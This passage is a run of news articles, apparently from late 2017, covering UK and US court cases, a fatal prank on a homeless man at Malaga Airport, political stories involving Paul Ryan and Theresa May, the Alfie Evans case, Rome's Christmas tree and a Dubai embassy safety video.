'His return to work was short lived, his mental health problems escalated in what would be described as PTSD. He candidly says he agreed to get involved in this enterprise and concedes his role became a managerial one.

'He admits he was unhappy with the way he had been treated by his employer, and his mental state after the accident must have been in an unstable state. This is not as sophisticated as some commercial enterprises are.

Aimson's brother in law Richard Grady, 31, of Hindley, Wigan, admitted conspiring to produce cannabis and was jailed for 20 months.

Michael Hutton, 52, of Openshaw, Manchester admitted conspiracy and possessing amphetamines with intent and was jailed for three years and four months.

Christopher King, 48, of Ryeburn Drive, Bolton, Hussein Mozahem, 24, of Findlay Street, Wigan, and George Parkinson, 30, of Ullswater Street, Leigh, all admitted conspiracy.

Mozahem got three years, Parkinson got two years and four months whilst King got two years.

Jonathan Vaiders, 27, of Jaffrey Street, Leigh, Wigan, admitted conspiring to produce cannabis and possession and intent to supply cocaine and was jailed for four years.

Steven Hindley, 27, from Rhyl, North Wales admitted being concerned in the supply of cannabis and was jailed for two years and four months.
Four men accused of killing a Brit found dead at Malaga Airport with his genitals in an empty tuna can have been charged with manslaughter.

The four suspects - named as Finns Jussi Petteri Munck, Kimo Tapani Naivo, Mika Tapio Soininem and Irishman James O'Byrne - will face up to three years in prison each with an extra year sought for subjecting the victim to degrading treatment.

Steven Frank Allford, 51, was found dead on a bench at the airport in October last year with his trousers pulled around his ankles and ham placed on his backside.

Steven Allford, 51, a homeless man, was found dead at Malaga Airport in October, tied to a bench and stripped from the waist with ham on his buttocks and his genitals in a tuna can

The homeless man was found lying face down on the bench, which he had been tied to, in a landscaped area near the arrivals lounge and a busy train stop.

A slice of ham had been left on each of his exposed buttocks and his genitals placed inside an empty tuna can.

A post-mortem revealed he choked to death on his own vomit after a heavy drinking session.

Initial fears Mr Allford's death could be a hate crime based on hobophobia - a fear of vagrants - gave way to a new theory as the investigation advanced that he was targeted in a row over food.

Police were told he had fallouts with other men sleeping rough at Malaga Airport because he was mean about sharing food and drink with them but always expected a portion of theirs.

Naivo, described as a 'giant', was arrested days after Mr Allford's death and remanded in prison on suspicion of his manslaughter after a witness told police he often carried plastic ties similar to the ones used on the dead Brit.

O'Bryne, who like the other suspects slept rough in Spain, was arrested in the port city of Algeciras an hour and a half's drive from Malaga after Spanish police were handed a video posted on Facebook.

All suspects are said to have clean police records in Spain apart from 58-year-old O'Bryne, whose birthplace has not been revealed.

The three-page prosecution document says: 'Despite the drunken state the man who later died was in, the suspects not only tied him to the bench, something that the accused Munck personally verified, but also filmed the scene and even placed a lit cigarette in his mouth after having put it between his buttocks and placed his naked testicles in an empty can for fun.

'The suspects acted as if they were filming a news report, which they ended up posting on the Facebook page of the accused Soininem.

'When they had laughed as much as they needed, they left Mr Allford to his fate. Because of the drunken state he was in, and because it was practically impossible for him to move due to the plastic ties, he ended up choking to death from his own vomit, something the suspects could have prevented by simply making a call so Mr Allford received medical assistance.'

Fellow rough sleepers Jussi Petteri Munck, Kimo Tapani Naivo, Mika Tapio Soininem and James O'Byrne have now been charged with manslaughter in what police believe was a revenge attack carried out during a row over food

The type of manslaughter the four suspects are accused of is regarded as 'serious' under the Spanish penal code. No date for the trial has yet been set.

Little is known about Mr Allford's life and why he ended up sleeping at one of Spain's busiest holiday airports, although it is believed he was adopted as a youngster and has served time in prison in France and Spain.

He had only been in Spain for about a week before he died after a brief spell in the UK and was thought to be trying to sort out proper accommodation away from Malaga Airport.

Sources close to the investigation revealed in February Irish suspect James O'Byrne had originally been questioned as a witness after Mr Allford's body was discovered and left a local court after giving a statement before investigators were tipped off about the bombshell video posted online.

One said: 'He had already left Malaga Airport where he slept rough like the Brit by the time police identified him as a potential suspect and there was no trace of him in the places in Malaga normally frequented by vagrants.

'Investigators got wind he may be in Algeciras but at first drew a blank because he had no contact with other tramps and wasn't using homeless shelters.

'Local police eventually discovered him on waste ground on the outskirts of the city.

'He was found in a tent inside a makeshift refuge. He has no known acquaintances in Algeciras and no history of living in the city so police suspect he left the Malaga area for a reason.'

O'Byrne is though to have been in custody since his arrest. He declined to testify or answer questions during a brief court remand hearing which was held behind closed doors at a duty court in Algeciras.

The video which marked a turning point in the police investigation is understood to to show Mr Allford moving his head while tied to the bench with his trousers pulled down round his ankles.

It was taken down from social media after it was discovered and is now in a a court file marked 'Private and Confidential.'

It is expected to be broadcast as part of the prosecution's case during the court trial.
An Illinois couple that had just celebrated their 71st wedding anniversary died within 15 minutes of each other in hospice beds just a few feet apart on Friday.

Ruth Kretschmer, 90, and her husband, Bob Kretschmer, 92, died in their home in Medinah just five days after they marked 71 years in marriage, according to the Daily Herald.

They both wanted to die in this house and if my father went first, that wasn't going to happen for my mother, said their daughter, Roberta Boston.

He hung in there for her. After she passed away, he asked why everyone was crying, then he passed away.

They worked it out between them, through the grace of God, Boston said.

Ruth Kretschmer, 90, and her husband, Bob Kretschmer, 92, died in their home in Medinah, Illinois just five days after they marked 71 years in marriage

Ruth Kretschmer was a local politician and former Republican who sat on the DuPage County Boards zoning committee.

She also served 20 years on the Illinois Commerce Commission.

Ruth Kretschmer has been in hospice for two years before she died.

Her husband, Bob, was a World War Two veteran who was awarded two Purple Hearts.

They both wanted to die in this house and if my father went first, that wasn't going to happen for my mother, said their daughter, Roberta Boston

He was diagnosed with cancer earlier this year.

The arc of their two lives, terminating as they did within 15 minutes, meant they were meant for each other in this life and the next, said Bobbi's husband Roy Boston.

Another daughter, Ruthann Koenig, told the Chicago Sun Times that her fathers lung cancer spread to his bones and liver.

His beloved wife was afflicted with Alzheimers disease.

'Im going downhill,' he told a friend, 'but I have to hang on because I cant let Ruth go to a home.'

Their three children took turns caring for them. They also hired helpers.

Just before 10am last Friday, Ruth Kretschmer stopped breathing.

Relatives said that when she did, it was almost as if her husband sensed it.

A caregiver 'was holding dads hand, and she [the caregiver] was crying. He asked her what was wrong, and she said, "Ruths gone",' said Roberta Boston.

And his hand went limp.

A hospice nurse was summoned to the home. Moments after she arrived, she pronounced Ruth Kretschmer dead.

'She said, "Shes gone," and she stood up, turned around, and said, "Oh my God, hes gone",' Koenig said.

'It was as if he was released from his duty.

'As soon as he heard mom declared at 10:25, dad was declared at 10:26,' Koenig said.

'I believe to the bottom of my soul he hung on for her.'

The two met in suburban Chicago and married shortly after he returned home from the war.

By 1955, they had settled down in a house that he had built in Medinah.

Ruth Kretschmer was a local politician and former Republican who sat on the DuPage County Boards zoning committee

While Bob Kretschmer was known as the life of the party and outgoing, Ruth was considered very driven and serious.

She is remembered as being a loyal Republican who fiercely advocated for fair pricing for Illinois citizens by utilities.

'Ruth was a trailblazer and role model for women elected and appointed to office,' said Kirk Dillard.

Dillard heads the Regional Transportation Authority, which oversee the main transit agencies in northeastern Illinois.

The utility industry was a pretty male-dominated industry when she served.

She earned a bachelors degree at DePaul University and also took classes at the John F. Kennedy School of Government at Harvard University.

Her husband, Bob, was a World War Two veteran who was awarded two Purple Hearts

She also helped Kazakhstan set up its utilities.

Koenig said her father fought from Normandy till the war ended; he was in Czechoslovakia.

'Once, he was in a foxhole with two of his buddies, and he went to get a cup of coffee,' Koenig said.

'And while he was gone, a German shell came in. They were killed. He was saved by a cup of coffee.

'He told me, "War is so random. I dont know why I survived and the others didnt".

After the war, he worked for a railroad and did carpentry work before going into the plastics industry.

The couple are survived by their three children, eight grandchildren, and 12 great-grandchildren.
House Speaker Paul Ryan forcefully denied on Tuesday that he's eyeing the congressional exit lounge.

'I am not going anywhere anytime soon, and lets just leave that thing at that,' Ryan told reporters during the House leadership's weekly press conference.

Ryan panned a Politico magazine feature that said he was contemplating early retirement.

'I actually think that piece was very irresponsible,' Ryan said. 'It was a speculative piece and it was faulty speculation. I want to put it to rest.'

The rumors of Ryan's departure swirled around Capitol Hill on Thursday, but he, his office and even the White House insisted it's not true.

'I ain't goin anywhere,' Ryan said then.

Rumors swirled around Washington on Thursday that House speaker Paul Ryan was eyeing the exits but he insisted Tuesday that it's complete bunk

President Donald Trump was worried enough about a Ryan departure to call him from the White House on Thursday

During a Republican Conference meeting before Tuesday's press conference, Ryan reportedly told his colleagues that 'I'm not leaving this job.' They gave him a standing ovation.

President Donald Trump was concerned enough about losing an ally to call him personally on Thursday, and White House press secretary Sarah Sanders gave reporters a readout in her afternoon briefing that day'

'The president did speak to the speaker not too long ago, and made sure that the speaker knew very clearly and in no uncertain terms that if that news was true, he was very unhappy with it,' she said.

'The speaker assured the president that those were not accurate reports, and that they looked forward to working together for a long time to come.'

Not only was Trump floored by Politico's reporting, but Ryan was caught flat-footed.

On Tuesday Ryan also blasted a Politico report saying he's eyeing the congressional exits as 'irresponsible' and 'faulty speculation'

'It sounds like it may have caught Speaker Ryan by surprise,' Sanders said, 'because I don't think it was very accurate reporting.'

'It sounds like they're both committed to and looking forward to spending a lot more time together over the next, hopefully, seven [or] eight years.'

Ryan's spokeswoman Ashlee Strong said in a statement that the Politico story was based on 'pure speculation.'

'As the speaker himself said today, he's not going anywhere any time soon,' she said.

House Majority Leader Kevin McCarthy also dismissed the Politico report as 'not true,' talking to reporters at the Capitol.

Politico had reported that Ryan was lkely to 'serve through Election Day 2018 and retire ahead of the next Congress.'

U.S. President Donald Trump, center, and U.S. House Speaker Paul Ryan, a Republican from Wisconsin, left, walk through the U.S. Capitol after a GOP conference meeting on tax reform at the U.S. Capitol in Washington, D.C., U.S., on Thursday, Nov. 16, 2017

White House press secretary Sarah Sanders said Thursday that Trump called Ryan and the speaker assured him that he's not looking for an early retirement

But the speaker recently plowed $1.9 million of fundraising proceeds into the National Republican Campaign Committee, a sign that he's committing to push through another re-election cycle.

Politico's analysis, though, held that he would put in just one more legislative year 'to chase his second white whale, entitlement reform, while using his unrivaled fundraising prowess to help protect the House majority.'

A senior aide to another Republican House member from Wisconsin told DailyMail.com on Thursday that Ryan 'never planned to be here forever, but I think 2018 is a little too early to be placing bets on.'

'The speaker isn't going to walk away from the job when he has a Republican president and a Republican majority in the Senate that's in zero danger of going away,' the insider said.
Pictured: Alfie Evans

A toddler with a mystery degenerative brain disorder is letting his parents know he wants to live, his father has said outside court.

Alfie Evans has been in a coma after being struck down by an unknown progressive neurological disease and now needs round the clock care at Alder Hey Children's Hospital in Liverpool.

Medics have applied to withdraw life support to let the child die peacefully as they say he will eventually die from the mysterious illness he has been suffering from for the past year.

His family are appealing the decision to buy him more time after an Italian hospital has offered to treat Alfie.

Speaking outside the High Court today as his parents launched a challenge, Thomas Evans said: 'Months ago we were told he was coming to the end of his life, but he is still here.

'He letting us know he wants to live. I have been with him every single day for a year and I have seen him progress with his breathing, his movement, his growth and his health.

'He is still here and he is fighting.'

Asked what he think will happen if Alfie is able to go to Italy he said: 'I believe there is big potential. I can't say he is going to get better because he is very ill.

'But I am 90 per cent sure he will wake up. I see him every single day and I see life.'

Tom and Kate Evans leave the High Court in London as a High Court judge is analysing preliminary issues in the case of their sick 19-month-old son Alfie, who is at the centre of a life-support treatment dispute

He believes if he was to undergo surgery in Italy, Alfie will wake up and doctors will be able to get a conclusive diagnosis of what has caused is degenerative brain disorder.

Mr Evans said: 'We haven't been able to spend time alone with him because there always has to be a nurse with him in the room and you feel awkward, even though your shouldn't.'

During today's hearing judge Mr Justice Hayden offered to visit Alfie in hospital before the full trial in February next year.

Mr Evans said: 'I would be overwhelmed for him to come and see him.

'It's a chance for him to step in my boots and see what I see everyday. Alfie will show the judge everything he has go, and show him he has got life.'

Asked if he thought the Alder Hey hospital had done enough for his son, Mr Evans said: 'No, but I respect and appreciate them for everything they have done for him, but I don't thing they have exhausted every option.'

Alfie's is due go to trial at Liverpool family court on February 1, in the New Year.
A Roman Catholic priest in Milwaukee has come out as gay, writing that he will no longer live in the shadows of secrecy and plans to be authentic to his gay self.

The Rev. Gregory Greiten disclosed his sexual orientation on Sunday to the St. Bernadette Parish and was greeted with a standing ovation from his parishioners, the Milwaukee Journal Sentinel reported.

He also wrote a column that was published Monday in the National Catholic Reporter.

It's rare for a priest to come out. Greiten said he revealed his sexual orientation because he wants to be a role model for others.

He said he's helping to break the silence of gay men in the clergy so he could reclaim his own voice.

'I will embrace the person that God created me to be,' Greiten wrote.

The Rev. Gregory Greiten disclosed his sexual orientation on Sunday to the St. Bernadette Parish and was greeted with a standing ovation from his parishioners

He said he's helping to break the silence of gay men in the clergy so he could reclaim his own voice. 'I will embrace the person that God created me to be,' Greiten wrote

Greiten wrote that has decided to stand with the 'few courageous priests who have taken the risk to come out of the shadows and have chosen to live in truth and authenticity'

'In my priestly life and ministry, I, too, will help you, whether you are gay or straight, bisexual or transgendered, to be your authentic self - to be fully alive living in your image and likeness of God.'

Greiten wrote that has decided to stand with the 'few courageous priests who have taken the risk to come out of the shadows and have chosen to live in truth and authenticity.'

The church's silent stance on gay priests perpetuates toxic shaming and systematic secrecy, Greiten wrote.

The church needs healthy role models for priests who are struggling to come to terms with their sexual orientation, he said.

Greiten believes that there are between 8,554 and 21,571 gay Catholic priests in the United States

He writes that a change in policy is necessary since priests who are forced to remain in the closet make great efforts to do so

Greiten met with Milwaukee Archbishop Jerome Listecki before coming out, according to an archdiocese spokeswoman.

'We support Father Greiten in his own personal journey and telling his story of coming to understand and live with his sexual orientation,' Listecki said in a statement Monday.

'As the Church teaches, those with same-sex attraction must be treated with understanding and compassion.'

Greiten believes that there are between 8,554 and 21,571 gay Catholic priests in the United States.

He cites a book titled The Changing Face of the Priesthood by author Donald B. Cozzens.

It was Cozzens who through his research came up with a range of 23 percent to 58 percent of priests in America who are gay.

It's rare for a priest to come out. Greiten said he revealed his sexual orientation because he wants to be a role model for others. The St. Bernadette Parish is seen in the above stock image

In his essay, Greiten blasted the Catholic Church for being in denial about its clergymen.

'By choosing to enforce silence, the institutional church pretends that gay priests and religious do not really exist,' Greiten writes.

'Because of this, there are no authentic role models of healthy, well-balanced, gay, celibate priests to be an example for those, young and old, who are struggling to come to terms with their sexual orientation.

'This only perpetuates the toxic shaming and systemic secrecy.'

He writes that a change in policy is necessary since priests who are forced to remain in the closet make great efforts to do so.

Greiten argues this energy would be better spent helping the community.

This past May, Greiten celebrated a milestone - 25 years as a priest.
Paralympic gold medalist Oscar Pistorius has launched an appeal against the increased sentence he got for murdering girlfriend Reeva Steenkamp.

Pistorius was jailed for six years in 2016 for shooting Steenkamp dead at their Pretoria home, but that was more than doubled to 15 years on appeal after judges ruled it 'shockingly lenient'.

Now Pistorius is taking his case to South Africa's highest court in the hopes of a reprieve, though legal analysts say this has a slim chance of success.

Oscar Pistorius has appealed against the increased 15-year sentence he was given for murdering girlfriend Reeva Steenkamp at their Pretoria home in 2013

The athlete was originally found guilty of culpable homicide in 2014 after a judge found he acted 'negligently' when he fired shots through a bathroom door which killed Steenkamp, but had done so 'in the belief there was an intruder'.

In 2015 that conviction was upgraded to murder after an appeal by prosecutors, who argued that the person behind the door was irrelevant because Pistroius should have known he would kill whoever it was when he fired the gun.

Steenkamp was shot dead in the bathroom of the home she shared with Pistorius, who said he thought she was an intruder

But despite murder carrying a 15-year minimum sentence in South Africa, he was given just six years behind bars.

Pistorius opted to appeal that sentence, only to see it more than doubled to the legal minimum by the Court of Appeals.

Pistorius filed documents to the Constitutional Court on Monday challenging the appeals court's ruling.

The judgement, he argued, disregarded material findings of the trial court, which showed 'compelling circumstances justifying a departure from the prescribed minimum sentence'. Fifteen years is the minimum usually given for murder.

Pistorius said this was in breach of his constitutional right to a fair trial and sentencing.

When asked about the appeal, Steenkamp's family spokeswoman Tania Koen said: 'It's his legal right to do so and we have to respect the legal process. It is what it is.'

Pistorius' family spokesman was not available to comment.

Rights groups in a country beset by high levels of violent crime against women say Pistorius has received preferential treatment compared to non-whites and those without his wealth or celebrity status.

Although in jail, Pistorius remains in the news. He suffered a bruise in a fight with another inmate after spending too long on a phone call, a prison spokesman said.
British Prime Minister Theresa May confronted U.S. President Donald Trump today over his decision to recognize Jerusalem as the capital of Israel.

Downing Street revealed the call had taken place and provided a read out of the first conversation between the two leaders since the beginning of November.

May offered her condolences on a train wreck in Washington and challenged the U.S. to put forward a Middle East peace proposal, a Downing Street spokesman said Tuesday.

The delay had sparked speculation that Trump was snubbing May after their spat following his retweets of a far-right group in Britain. She had publicly disagreed with announcement that he was moving the U.S. embassy in Israel from Tel Aviv to Jerusalem, too.

Theresa May has finally spoken to Donald Trump (pictured together in May) about his controversial decision to move the US Israeli embassy to Jerusalem almost two weeks after announcing a call

A senior U.S. official told the Associated Press that Trump's tweets were not discussed.

An hour and a half after Downing Street confirmed the call, the White House also put out a statement that framed the talk on Middle East peace quite differently than May's government.

Its version said: 'The two leaders exchanged holiday greetings and warm wishes for Christmas and the New Year. The Prime Minister offered her condolences for the tragic train accident in Washington State.

'The President and Prime Minister discussed next steps in forging peace in the Middle East. Both leaders also emphasized the urgency of addressing the humanitarian crisis in Yemen.

'President Trump congratulated the Prime Minister on the decision by European Union leaders to move to the second phase of the Brexit negotiations.'

Sarah Huckabee Sanders, the president's press secretary, added during her daily briefing that a visit to the UK had been mutually agreed upon, however a date had still not been set.

A Downing Street spokesman said earlier on Tuesday that the two leaders spoken about Trump's controversial decision to declare Jerusalem the capitol of Israel during a call today with May.

He said: 'They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts.

'The Prime Minister also raised Yemen, highlighting our ongoing deep concerns at the humanitarian situation.

'They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

'The Prime Minister updated the President on the recent good progress of the Brexit negotiations, and the President set out the progress he had made on his economic agenda. They agreed on the importance of a swift post-Brexit bilateral trade deal.

'They wished each other a very Merry Christmas and looked forward to keeping in close touch.'

May had publicly disagreed with announcement that he was moving the U.S. embassy in Israel from Tel Aviv to Jerusalem

HOW THE MAY-TRUMP RELATIONSHIP HIT THE BRAKES November 29 - Trump retweets a series of Britain First videos. May condemns him as 'wrong' December 4 - Expectations rise Trump will announce the US will recognise Jerusalem as the capital of Israel. December 6 - May warns the US not to make the change tells MPs she will speak to Trump about Jerusalem December 7 - Trump officially makes his move and recognises Jerusalem as the capital of Israel December 18 - No 10 admits May and Trump have still not spoken but denies a snub December 19 - Call finally takes place Advertisement

May has sent Mr Trump a Christmas card - but No 10 has refused to say whether she has received one in reply.

She took the unusual step of revealing plans to call Trump during Prime Minister's Questions on December 6, at the height of criticism of Trump's decision on Israel.

Days before, Trump sparked huge diplomatic row by re-tweeting videos from the far right Britain First Group.

Her spokesman was challenged on when the call would take place at a Westminster briefing yesterday.

Asked if the failure to schedule a call was a snub, the spokesman said: 'I would not see it like that at all.

'We will let you know when they have spoken.'

At PMQs a day before after the controversial decision, Mrs May said: 'I'm intending to speak to President Trump about this matter.

'Our position has not changed, it has been a long standing one and it is also a very clear one.

'It is that the status of Jerusalem should be determined in a negotiated settlement between the Israelis and the Palestinians, and Jerusalem should ultimately form a shared capital between the Israeli and Palestinian states.'

It emerged last week that Trump is likely to finally visit the UK for the first time as president in February to officially open the new American embassy.

The trip will be met with a storm of protests and comes ahead of a planned state visit which has been repeatedly postponed.

Sanders, the White House press secretary, confirmed Thursday that Trump would visit the UK. A date had not been settled on though, she said.
Rome's Christmas tree has been branded a 'disgrace' by residents, who claim it is just another sign of the city's decline.

Citizens of the ancient city are appalled about tree, which has been dubbed 'Spelacchio', which is roughly translated as mangy or baldy.

The tree is also said to be a symbol of what many Romans see as the eternal city's eternal decay, which has seen the streets plagued by potholes, piles of rubbish and weeds growing as tall as people in recent years.

One resident said: 'It's a disgrace. It hurts even to look at this Christmas tree,' and used an Italian term suggesting it looked like a plucked chicken.

'How can they have put it in Rome, a capital city like Rome,' said the woman, who declined to give her name.

The Rome's official Christmas tree stands in front of the Unknown Soldier monument in Piazza Venezia Square

The Pope himself has even harped in on the debate while others have likened the flimsy Christmas tree to a toilet brush. Romans on social media have blamed Mayor Virginia Raggi, a high-profile politician in the anti-establishment 5-Star movement.

Raggi has tried to shrug off the criticism, saying the tree is simply decorated in a 'simple and refined' fashion.

The 65 foot tree is expected to stay in the city, with consumers group Condacons adding: 'It is clearly dead and it represents a shameful spectacle for citizens and tourists.

The group has called for an investigation into why near 50,000 was spent to transport the sickly tree from to Rome from a forest near the Austrian border 430 miles away.

'The one at the Vatican is much better. They should swap them,' said Francois Mallet, a tourist from France.

Romans also pointed to the delightful Christmas tree which had been put up in the city of Milan as yet another sign of how Italy's financial capital had overtaken their city in terms of wealth and prestige.

The saga of 'Spelacchio' has taken off on social media, with its own hashtag and handle on Twitter.

'Farewell @spelacchio,' tweeted Duccio Zanaboni. 'It was nice while it lasted. It's a shame it didn't last long. RIP'

Despite the tree's 600 silver-colored decorative balls, the half-bare branches lend the square a forlorn rather than festive look and critics note that across town, the Vatican's Christmas tree, from Poland, looks healthy
Net immigration from the EU plummeted to its lowest level for three years - with just 9,000 moving to the UK in three months this year, new figures reveal.

Experts said the Brexit vote has prompted the sharp fall in the figures as more Europeans look to move back home.

The Office for National Statistics said that from April to June this year 39,000 EU nationals moved to Britain, but 30,000 left.

This means that net immigration from the EU stood at just 9,000 for the three months - the lowest the ONS began publishing the figures in early 2015.

The ONS did warn that there are big seasonal fluctuations in how many EU migrants move in and out of Britain - as many come to the UK for seasonal work.

The Office for National Statistics said that from April to June this year 39,000 EU nationals moved to Britain, but 30,000 left from April to June this year. Theresa May, pictured in the Commons yesterday, has made curbing immigration a red-line in the Brexit negotiations

The breakdown, which was released by ONS to the Financial Times, comes after annual figures showed immigration had tumbled in the wake of the referendum.

Official figures show 230,000 more people came to the UK than left in the year to June - down from a record high of 336,000 in the 12 months before the historic Brexit vote.

It is the largest decrease in net long-term migration in any 12-month period since records began in 1964.

Commenting on the quarterly figures, Madeleine Sumpton, director of he migration Observatory at Oxford University, told the newspaper: 'The fact that the decline was so sudden and the timing coincidental with he referendum suggests Brexit played a significant role.'

Official figures show 230,000 more people came to the UK than left in the year to June - down from a record high of 336,000 in the 12 months before the historic Brexit vote

Theresa May has pledged to make curbing immigration a red-line in the Brexit negotiations.

And she has stuck to her Government target to get net figures down to below 100,000 a year.

Getting net migration down to more manageable levels was a key demand of voters in the EU referendum.

Britons were concerns hat high rates of immigration was placing an unsustainable strain on services like schools, housing and hospitals.
A 15-year-old boy has admitted to raping an 84-year-old grandmother before forcing her to shower in front of him to wash the evidence away.

The Perth boy, who cannot be named, pleaded guilty to the horrific sex attack in court on Tuesday after breaking into the woman's home on October 13.

Police said the teenager broke into her home at Waikiki, an outer suburb of Perth, at about 5am while she was asleep and raped her three times, 9 News reported.

He then stole property and fled the scene, but was arrested by police two days later.

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A 15-year-old boy (pictured) has admitted to raping an 84-year-old woman in Perth

West Australian forensic police are pictured at the scene of the violent sex attack

A law enforcement source told Daily Mail Australia the boy was on parole at the time of the sickening attack.

The repeat offender was arrested numerous times last year for stealing and once for robbery before being jailed in late 2016.

After release he committed other offences while on parole and was jailed again.

The boy's older cousin told Daily Mail Australia the rapist was recently released from Banksia Hill Detention Centre after serving time for stealing a car.

Banksia Hill, about 20km south of Perth's CBD, is Western Australia's only detention centre for offenders aged 10 to 17.

The pair met about 10am on October 13, just hours after the alleged crime, after the boy returned to Perth from staying with his uncle in south-west Western Australia.

'I picked him up and later on we went to a party and then went home, but I took off in the morning,' the cousin said.

The cousin said the boy was not acting out of the ordinary and was just happy to be home after serving his time.

Police were called to the scene of the rape of the elderly Perth woman on October 13

The rapist was recently released from Banksia Hill Detention Centre (pictured) after serving time for stealing a car

'He was just normal, quite like how he his all the time,' he said.

The young man who spoke to Daily Mail Australia admitted his cousin had a history of burglaries, stealing from cars and other petty crime.

'He only does it with other people though, never by himself,' he said.

'He's just in with the wrong crowd.'

The cousin said the boy didn't go to school and was on welfare, and bounced around the houses of family and friends.

The elderly woman was badly injured and severely traumatised after the attacker broke in while she was sleeping.

She was home alone when the teenager smashed his way into the house and pinned her to the ground.

Forensic police searched the woman's home for evidence including her attacker's DNA.

The woman was taken to Perth's Fiona Stanley Hospital and later released.
A Queens man has been sentenced to life in prison without the possibility of parole after he was convicted last month of fatally shooting a New York City police officer in 2015.

Demetrius Blackwell, 37, was sentenced on Tuesday by Queens Supreme Judge Gregory Lasak who blasted him for the heartless shooting death of police officer Brian Moore.

'You're a cold, calculating killer,' Lasak told to Blackwell. 'You realize what you did. You killed a man for no reason.'

Blackwell had been found guilty of first-degree murder in November by a jury who deliberated for five hours.

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Demetrius Blackwell (above on Tuesday) has been sentenced to life in prison after he was convicted last month of fatally shooting Brian Moore, a New York City police officer, in 2015

Blackwell (above left in 2015) had been found guilty of the first-degree murder of Moore (right) in November by a jury who deliberated for five hours

Blackwell (above in 2015) was sentenced on Tuesday by Queens Supreme Judge Gregory Lasak who blasted him for the heartless shooting death of police officer Brian Moore

He was also convicted of attempted murder of 25-year-old Moore's partner, Erik Jansen, and criminal possession of a weapon.

Moore, the son of a New York Police Department sergeant, on duty in Queens with his partner on May 2, 2015 when they encountered Blackwell.

Authorities say the Blackwell opened fire, striking Moore twice in the head.

He died two days later and was posthumously promoted to Detective First-Grade. His partner wasn't hurt.

The officer's mother, Irene Moore, spoke before Blackwell was sentenced and said that the bond between a parent and a child was the 'closest on Earth,' WABC reported.

The officer's mother, Irene Moore (above), spoke before Blackwell was sentenced and said that the bond between a parent and a child was the 'closest on Earth.'

Moore, the son of a New York Police Department sergeant, on duty in Queens with his partner on May 2, 2015 when they encountered Blackwell, who shot him twice in the head. Blackwell was also convicted of criminal possession of a weapon (above) in the deadly 2015 shooting

'My bond, my soul was abruptly severed from me,' the heartbroken mother said of her son's murder. 'For me there is no moving on.'

When Blackwell was found guilty, she said: 'At the end of the day, there was justice done for Brian's killing but it is a hole and it is a void that will never ever be filled.'

Queens Assistant District Attorney Dan Saunders said, 'He's remorseless and just doesn't give a damn.'

At the time of his death, Moore had amassed 150 arrests as an NYPD officer and had several awards for his service.

Moore was working in an elite anti-crime unit that patrolled in plainclothes and unmarked cars looking for suspicious activity.
A 27-year-old high school teacher has been arrested by authorities in Florida for sending nude photos and sexually explicit texts to a 15-year-old boy she met through Xbox One, police said on Tuesday.

Robin Dunlap, who works at Haines City High School in Haines City, Florida, voluntarily turned herself in to Winter Haven police when she learned that she had allegedly sent sexually explicit texts to a 15-year-old boy from Texas.

Initially, she told police she was led to believe that the boy whom she sent nude photos of herself was 19 years old, according to the Winter Haven Police Department.

Dunlap told police that the two initially began chatting online over Xbox One.

Robin Dunlap, who works at Haines City High School in Haines City, Florida, voluntarily turned herself in to Winter Haven police when she learned that she had allegedly sent sexually explicit texts to a 15-year-old boy from Texas

Initially, she told police she was led to believe that the boy whom she sent nude photos of herself was 19 years old

Police said the boy's mother noticed the conversations on her son's phone and called Dunlap to inform her that he was 15 years old, and not 19

The conversations eventually moved to Kik, an instant messaging app that uses a smartphones data plan or WiFi to send a receive texts, photos, videos, and sketches.

When the mother of the victim checked her sons phone, she saw the explicit conversations with Dunlap.

The mother then contacted Dunlap and informed her that her son was 15 years old.

Police said that after the mother called, Dunlap decided to turn herself in on September 18.

Over a month later, police learned from the boys father that Dunlap and the boy continued to exchange messages via Google Hangout.

Dunlap told police that the two initially began chatting online over Xbox One (seen in the above stock image)

Police in both Florida and Texas investigated the matter and confirmed through the boys cell phone that the conversations continued even after Dunlap was made aware of the boys real age.

On Sunday, investigators went to Dunlaps home and confronted her with the new evidence.

Police said Dunlap did not deny the conversations with the boy. She told authorities that the two continued to communicate because she was the only person who understood him.

Dunlap then allowed detectives to look at her phones, which allegedly contained sexually explicit texts that were dated between November 26 and December 11.

Police determined that since Dunlap was aware that the boy was a minor, she was placed under arrest and charged with transmitting material harmful to a minor.

There is absolutely no excuse for an adult - especially a high school teacher - to continue sexually explicit conversations with a 15 year-old long after his real age is revealed, said Chief Charlie Bird.

The vulnerable age of this victim and the fact that this woman took advantage of him for her own personal needs is inexcusable.
A British Embassy video warning UK holidaymakers travelling to Dubai over the festive season not to drink too much has been called 'insulting' to tourists wrongly thrown in jail.

The video, posted on the embassy's Twitter, Facebook and YouTube channels, is a five-minute stop motion animation starring LEGO characters and is based on Charles Dickens' novel A Christmas Carol.

Dubbed 'A Consular Christmas Carol', it follows Edward Beaver-Rouge, a recent expat spending his first Christmas in the UAE, to illustrate the cultural differences between the UK and United Arab Emirates.

A British Embassy video warning UK holidaymakers travelling to Dubai over the festive season not to drink too much has been called 'insulting' to tourists thrown in jail and wrongly accused. Pictured: Expat Edward Beaver-Rouge in his UAE office

The video, posted across the embassy's social media accounts, is a five-minute animation starring LEGO characters, based on Charles Dickens' novel A Christmas Carol. Pictured: Edward is told he will be visited by the three ghosts

In one scene, the young Briton is shown on a night out in the UK where he drunkenly propositions a Lego woman, before falling over in the street and eventually sleeping in a doorway.

The spirits of Christmas past, present and future warn him of the consequences he would suffer if he fails to adapt his behaviour for the UAE.

Public displays of affection, drinking in public and wearing indecent clothing are all banned in the popular tourist destination.

It's also a criminal offence to say the F-word in public and use abusive language in WhatsApp messages  including using the 'middle finger' emoji.

The video shows Beaver-Rouge being told by the Ghost of Christmas Past: 'Edward, your Christmases have been full of excess. The laws and customs are different in the UK, but even there you took it too far.'

Towards the end of the video, the Ghost of Christmas Present tells him: 'Everyone celebrates differently, but it doesn't have to end in embarrassment and regret.'

The British Ambassador to the UAE, Philip Parham, said: 'There is likely to be a significant number planning to enjoy Christmas and the New Year in the UAE. It has become a tradition for the embassy to find a fun and festive way to remind everyone that it is important to familiarise ourselves with the different laws and customs.'

However, David Haigh, of the pressure group Detained in Dubai, said the video failed to take account of human rights violations in the UAE.

Dubbed 'A Consular Christmas Carol', the video follows Edward Beaver-Rouge, a recent expat spending his first Christmas in the UAE, to illustrate the cultural differences between the UK and United Arab Emirates. He can be seen above during a visit from the Ghost of Christmas Past

In one scene, the young Briton is shown on a night out in the UK where he drunkenly propositions a woman, before falling over in the street and eventually sleeping in a doorway

